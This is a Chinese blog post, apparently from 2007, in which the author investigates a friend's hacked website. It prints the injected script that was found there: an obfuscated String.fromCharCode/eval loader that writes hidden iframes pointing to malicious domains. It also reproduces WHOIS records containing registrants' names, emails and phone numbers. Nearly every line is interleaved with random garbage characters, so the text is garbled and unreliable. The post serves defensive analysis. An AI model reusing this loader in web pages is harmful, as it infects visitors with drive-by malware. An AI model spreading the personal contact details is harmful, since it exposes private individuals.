首发在我的博客里面，
^GV'Y ^; /~ $ http://www.areway.cn/?p=175 @"s<0T^H 5$+7Q$Gw 7Wef[N\x 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
=tt D5 p Re~6 ' <script>t=’60,105,102,114,97,109,101,
dlvU=^G#G 32,115,114,99,61,104,116,116,112,58,47,47,
r3x;lICx- 102,114,101,101,46,117,45,117,117,117,46,99,
]+` K\G ^X 110,47,101,114,114,111,114,46,104,116,109,
TNh&g. 32,119,105,100,116,104,61,49,48,48,32,104,
V^tD @N 101,105,103,104,116,61,48,62,60,47,105,102,
k-&<_ghT \ 114,97,109,101,62′;
0(d!w*RpG t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
)-X8RRw' _886>^b@ <script>t=’60,105,102,114,97,109,101,32,115,
RCfeIHL 114,99,61,104,116,116,112,58,47,47,102,114,
>A {e,& 101,101,46,117,45,117,117,117,46,99,110,47,
Z?S?O#FED 101,114,114,111,114,46,104,116,109,32,119,
Ru
d9l.n 105,100,116,104,61,49,48,48,32,104,101,105,
#rW-jW=A 103,104,116,61,48,62,60,47,105,102,114,97,
\V 'fB5 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
VEa"^{,w document.write(t);</script>
:C^{Lc [ BdRx` <html xmlns=”
,(oolx"Xa http://www.w3.org/1999/xhtml [&~x5l
8\C “>
\roJf&O } <head>
pGU .+[|( <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
UQkd$w < <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
r1q'+ i <title>首页 - 爱生活家庭网
=~D[M)UO| A __ _|
#R 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
i<m)
s$u 转换字符串后的大概内容是（谁点击后果自付）：
dSj O 12b <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
7_3 6xpw m~;.kc 查询玉米u-uuu.cn的详细信息：
U$DZht4>u Domain Name: u-uuu.cn
Wk^{Tn/] ROID: 20070901s10001s64972306-cn
B{0]v-w Domain Status: ok
FnVW%fh Registrant Organization: 王雷
\a0{9Xx F Registrant Name: 王雷
ir}*E=* Administrative Email:
czlovexs@126.com R7b-/
!L Sponsoring Registrar: 北京万网志成科技有限公司
OE[7fDe' Name Server:ns.yovole.com
M&=SvM.f Name Server:ns1.yovole.com
7]So=% q Registration Date: 2007-09-01 17:54
LTBH/[q5 Expiration Date: 2008-09-01 17:54
X )(K |[ 最后PING了一下地址 都没有什么….
QpzdlB44l <gX({FA 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
A/9<} m <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
kqX % y <script language=”javascript” src=”
pno}`Cer http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ]~$@x=p2e >
~ :,}? 9 这个玉米应该有可能是木马作者的：
_Cf:\Xs
m foafau.info的详细信息：
nGTGX Access to INFO WHOIS information is provided to assist persons in
Ax|'uvVAPT determining the contents of a domain name registration record in the
CUdpT$ $x3 Afilias registry database. The data in this record is provided by
[x?9< #T Afilias Limited for informational purposes only, and Afilias does not
{88|J'*L guarantee its accuracy. This service is intended only for query-based
)M.g<[= ^ access. You agree that you will use this data only for lawful purposes
~9@527m<', and that, under no circumstances will you use this data to: (a) allow,
B]hRYU enable, or otherwise support the transmission by e-mail, telephone, or
/ qKor;x
facsimile of mass unsolicited, commercial advertising or solicitations
g_PP 9S_? to entities other than the data recipient’s own existing customers; or
xc'uC bH (b) enable high volume, automated, electronic processes that send
d8 ~%(I9 queries or data to the systems of Registry Operator, a Registrar, or
_&G_SNa Afilias except as reasonably necessary to register domain names or
+5- |6 modify existing registrations. All rights reserved. Afilias reserves
6 f0o' the right to modify these terms at any time. By submitting this query,
>8{{H"$;( you agree to abide by this policy.
bCTN^ Domain ID:D22418703-LRMS
3 P75:v Domain Name:FOAFAU.INFO
X:f5t` ; Created On:20-Nov-2007 16:05:42 UTC
%d-WQwJ Last Updated On:20-Nov-2007 16:05:44 UTC
(-1{W^( Expiration Date:20-Nov-2008 16:05:42 UTC
NH5sV.vvc Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
t ?^!OJ:L Status:CLIENT DELETE PROHIBITED
t~}c"|<t Status:CLIENT RENEW PROHIBITED
6 ym$8^ Status:CLIENT TRANSFER PROHIBITED
GGLSmfb) Status:CLIENT UPDATE PROHIBITED
,| 8aDL? Status:TRANSFER PROHIBITED
e 7n0 =U0 Registrant ID:GODA-040110615
TSJeS`I Registrant Name:liu hong
EGFP$n vq Registrant Organization:
(VkO[5j Registrant Street1:beijing
r1.zURY Registrant Street2:
=> o ! Registrant Street3:
|gk4X%o6 Registrant City:beijing
L B.B w Registrant State/Province:
+F,])p4,]i Registrant Postal Code:100000
i,;a( Sy4 Registrant Country:CN
SG~HzQ\% Registrant Phone:+86.860108888777
TX d6o= Registrant Phone Ext.:
V_^pP Ba Registrant FAX:
[T'[7 Z Registrant FAX Ext.:
c #?~1@= Registrant Email:bbbshiji@163.com
1H%p|'FKA Admin ID:GODA-240110615
1bz^$2/k Admin Name:liu hong
55`p~:&VQ Admin Organization:
( ,mV6U % Admin Street1:beijing
u"T9w]Z\ Admin Street2:
<tO@dI$~> Admin Street3:
1DU
l<&4 Admin City:beijing
GM8 >u O Admin State/Province:
>'m&/&h Admin Postal Code:100000
9 M?UPE Admin Country:CN
5D-as9k* Admin Phone:+86.860108888777
*Vb#@O! Admin Phone Ext.:
eMEKR5*-O Admin FAX:
1f"}]MbLR Admin FAX Ext.:
[".94(qs Admin Email:bbbshiji@163.com
XdzC/ { G Billing ID:GODA-340110615
; X +.Ag Billing Name:liu hong
V\n!?1{kdF Billing Organization:
uARkf' Billing Street1:beijing
N*PJ m6- Billing Street2:
3,!IV" _ Billing Street3:
247 vU1 Billing City:beijing
`6YN/"unfp Billing State/Province:
D5Jg(- Billing Postal Code:100000
V2;N v\J\ Billing Country:CN
Az(,Q$"|5 Billing Phone:+86.860108888777
gDw(_KC Billing Phone Ext.:
&_ @M
6[- Billing FAX:
7^@ 1cA=S Billing FAX Ext.:
2=<,#7zlJ Billing Email:bbbshiji@163.com
} nIYNeP?D Tech ID:GODA-140110615
L*p7|rq$" Tech Name:liu hong
x~Ir qdmW Tech Organization:
.4w"3> Tech Street1:beijing
p_zVrlVb Tech Street2:
V%t_,AT Tech Street3:
'F*OlZ!BWy Tech City:beijing
fS8Pi,! Tech State/Province:
V'za,.d- Tech Postal Code:100000
xrlyph5mE Tech Country:CN
(Xz q(Q V Tech Phone:+86.860108888777
Gw6Od j Tech Phone Ext.:
SEu:31k{o Tech FAX:
SN }3 Tech FAX Ext.:
X rc{w Dn Tech Email:bbbshiji@163.com
- nD} k Name Server:NS27.DOMAINCONTROL.COM
FyXO @ yF Name Server:NS28.DOMAINCONTROL.COM
c8_,S[W Name Server:
T gLr4Ex Name Server:
?!c 7Zx,( Name Server:
MCXt,`}[ Name Server:
8{%&P%vf Name Server:
tmeg=U7 Name Server:
3fE0cVG * Name Server:
XCgC^c' Name Server:
gH"a MEC Name Server:
_S* QIbO Name Server:
WhFE{-!gX Name Server:
/L]@k`.q@
>h9~
/ 接着下载每个文件里面的代码：
RN&8dsreZp 一步一步看..
z>=;Xe8P8n 
sUk n.g! 
W=#jtU`:5 
gId
:IR 
:a=]<_*x 
Ir-
1@_1Q 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
